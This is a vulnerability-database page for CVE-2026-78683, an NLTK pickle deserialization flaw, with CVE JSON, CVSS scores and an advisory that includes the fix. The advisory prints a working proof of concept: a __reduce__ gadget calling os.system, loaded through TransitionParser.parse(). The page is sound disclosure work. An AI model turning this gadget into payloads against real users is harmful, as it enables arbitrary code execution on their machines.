Vulnerability-Lookup

CVE-2026-78683 (GCVE-0-2026-78683)

Vulnerability from cvelistv5 – Published: 2026-08-25 01:30 – Updated: 2026-08-25 15:19

Title

NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization

Summary

NLTK before 3.10.0 (affected versions <=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

9.6 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 15:19 UTC

CWE

CWE-502 - Deserialization of Untrusted Data

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 8186 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/nltk/nltk/security/advisories/…	vendor-advisory
https://www.vulncheck.com/advisories/nltk-before-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version	CPE status
nltk	nltk	Affected: 0 , < 3.10.0 (semver) Unaffected: 3.10.0 (semver) cpe:2.3:a:nltk:nltk::::::::

Date Public

2026-08-11 00:00

Credits

ekaf

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-78683",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T15:19:21.370761Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-25T15:19:32.286Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/nltk",
          "product": "nltk",
          "vendor": "nltk",
          "versions": [
            {
              "lessThan": "3.10.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.10.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "3.10.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "analyst",
          "value": "ekaf"
        }
      ],
      "datePublic": "2026-08-11T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.4,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.6,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-502",
              "description": "Deserialization of Untrusted Data",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T01:30:39.451Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-rhp5-r9x4-f5g2)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
        },
        {
          "name": "VulnCheck Advisory: NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
        }
      ],
      "title": "NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-78683",
    "datePublished": "2026-08-25T01:30:39.451Z",
    "dateReserved": "2026-08-25T01:17:12.263Z",
    "dateUpdated": "2026-08-25T15:19:32.286Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-78683",
      "date": "2026-11-13",
      "epss": "0.0051",
      "percentile": "0.44102"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "defaultStatus": "unaffected",
                "packageURL": "pkg:pypi/nltk",
                "product": "nltk",
                "vendor": "nltk",
                "versions": [
                  {
                    "lessThan": "3.10.0",
                    "status": "affected",
                    "version": "0",
                    "versionType": "semver"
                  },
                  {
                    "status": "unaffected",
                    "version": "3.10.0",
                    "versionType": "semver"
                  }
                ]
              }
            ],
            "source": "disclosure@vulncheck.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "653A48E1-BCC5-4342-B5DF-E8D71A83BCB9",
                    "versionEndExcluding": "3.10.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0."
          },
          {
            "lang": "es",
            "value": "NLTK anterior a 3.10.0 (versiones afectadas menor o igual que 3.9.4) contiene una vulnerabilidad de deserializaci\u00f3n pickle insegura en el m\u00e9todo TransitionParser.parse() (nltk/parse/transitionparser.py). El m\u00e9todo llama a pickle_load() con el valor predeterminado restricted=False, dirigiendo la deserializaci\u00f3n a trav\u00e9s de WarningUnpickler, que no anula find_class() y, por lo tanto, permite la resoluci\u00f3n arbitraria de clases. Cuyo una aplicaci\u00f3n carga un archivo de modelo creado por un atacante, las cadenas de gadgets pickle incrustadas ejecutan c\u00f3digo Python arbitrario con los privilegios del usuario que ejecuta la aplicaci\u00f3n. NLTK proporciona un RestrictedUnpickler para una deserializaci\u00f3n segura, pero no es utilizado por las rutas de c\u00f3digo de producci\u00f3n. Corregido en 3.10.0."
          }
        ],
        "id": "CVE-2026-78683",
        "lastModified": "2026-10-12T17:10:00.163",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.6,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 6.0,
              "source": "disclosure@vulncheck.com",
              "type": "Secondary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 9.4,
                "baseSeverity": "CRITICAL",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "PASSIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "disclosure@vulncheck.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-78683",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T15:19:21.370761Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-25T02:16:53.033",
        "references": [
          {
            "source": "disclosure@vulncheck.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
          },
          {
            "source": "disclosure@vulncheck.com",
            "tags": [
              "Third Party Advisory"
            ],
            "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
          }
        ],
        "sourceIdentifier": "disclosure@vulncheck.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-502"
              }
            ],
            "source": "disclosure@vulncheck.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Important",
      "current_release_date": "2026-10-19T11:28:25+00:00",
      "cve": "CVE-2026-78683",
      "id": "CVE-2026-78683",
      "initial_release_date": "2026-08-25T01:30:39.451000+00:00",
      "product_status:fixed": "8",
      "product_status:known_affected": "4",
      "product_status:known_not_affected": "321",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "nltk: NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-78683.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-78683",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-25T15:19:21.370761Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-25T15:19:00.530Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "defaultStatus": "unaffected",
              "packageURL": "pkg:pypi/nltk",
              "product": "nltk",
              "vendor": "nltk",
              "versions": [
                {
                  "lessThan": "3.10.0",
                  "status": "affected",
                  "version": "0",
                  "versionType": "semver"
                },
                {
                  "status": "unaffected",
                  "version": "3.10.0",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "3.10.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "analyst",
              "value": "ekaf"
            }
          ],
          "datePublic": "2026-08-11T00:00:00.000Z",
          "descriptions": [
            {
              "lang": "en",
              "value": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 9.4,
                "baseSeverity": "CRITICAL",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "PASSIVE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH"
              },
              "format": "CVSS"
            },
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.6,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
                "version": "3.1"
              },
              "format": "CVSS"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-502",
                  "description": "Deserialization of Untrusted Data",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-25T01:30:39.451Z",
            "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
            "shortName": "VulnCheck"
          },
          "references": [
            {
              "name": "GitHub Security Advisory (GHSA-rhp5-r9x4-f5g2)",
              "tags": [
                "vendor-advisory"
              ],
              "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
            },
            {
              "name": "VulnCheck Advisory: NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization",
              "tags": [
                "third-party-advisory"
              ],
              "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
            }
          ],
          "title": "NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization",
          "x_generator": {
            "engine": "vulncheck-endgame"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "assignerShortName": "VulnCheck",
        "cveId": "CVE-2026-78683",
        "datePublished": "2026-08-25T01:30:39.451Z",
        "dateReserved": "2026-08-25T01:17:12.263Z",
        "dateUpdated": "2026-08-25T15:19:32.286Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

BREW-ACRONYM-CVE-2026-78683 (PYSEC-2026-3734)

Vulnerability from osv_homebrew – Published: 2026-09-02 08:43 – Updated: 2026-10-29 21:52 – Source website

Summary

NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Details

Summary

The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).

Vulnerability chain in nltk/picklesec.py:

def pickle_load(file, *, context=None, restricted=False):
    if restricted:
        return RestrictedUnpickler(file).load()  # Safe: blocks all globals
    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Why this is not by design: - NLTK intentionally created RestrictedUnpickler to block unsafe deserialization - The restricted=True parameter exists in the API but is never used by any production code path - All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Exploitation path: 1. Attacker places a malicious pickle file at a known or attacker-controlled location 2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl") 3. pickle_load() deserializes the file with restricted=False (default) 4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges

Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.

Steps to Reproduce

Environment

NLTK version: 3.8.1+ (all versions with transitionparser.py)
Python 3.6+
No special dependencies required

Reproduction

Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.
Call TransitionParser().parse([], '/path/to/malicious_model.pkl').
The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.
Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from:

model = pickle_load(f)

to:

model = pickle_load(f, restricted=True)

causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

import pickle
import os
from nltk.parse.transitionparser import TransitionParser

# Create malicious pickle with RCE payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/nltk_poc_triggered',))

with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard')      # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely

# Exploit succeeds: file /tmp/nltk_poc_triggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

File	Line	Before	After
`nltk/parse/transitionparser.py`	557	`pickle_load(f)`	`pickle_load(f, restricted=True)`
`nltk/parse/chartparser_app.py`	816	`pickle_load(model_data_file)`	`pickle_load(model_data_file, restricted=True)`
`nltk/parse/chartparser_app.py`	2273	`pickle_load(file)`	`pickle_load(file, restricted=True)`
`nltk/parse/chartparser_app.py`	2311	`pickle_load(fp)`	`pickle_load(fp, restricted=True)`

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().

Severity

9.4 (Critical)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

URL

Type

	https://github.com/nltk/nltk/security/advisories/…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-78683	ADVISORY
	https://github.com/nltk/nltk/pull/3631	WEB
	https://github.com/nltk/nltk/commit/f26b3753038d9…	WEB
	https://github.com/nltk/nltk	PACKAGE
	https://github.com/nltk/nltk/releases/tag/v3.10.0	WEB
	https://github.com/pypa/advisory-database/tree/ma…	WEB
	https://www.vulncheck.com/advisories/nltk-before-…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.4",
        "upstream_fixed_in": "3.10.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "acronym",
        "purl": "pkg:brew/acronym"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.0_4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.4",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.4"
      }
    ]
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "BREW-acronym-CVE-2026-78683",
  "modified": "2026-10-29T21:52:04Z",
  "published": "2026-09-02T08:43:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
  "upstream": [
    "PYSEC-2026-3734",
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ]
}

BREW-GPTLINE-CVE-2026-78683 (PYSEC-2026-3734)

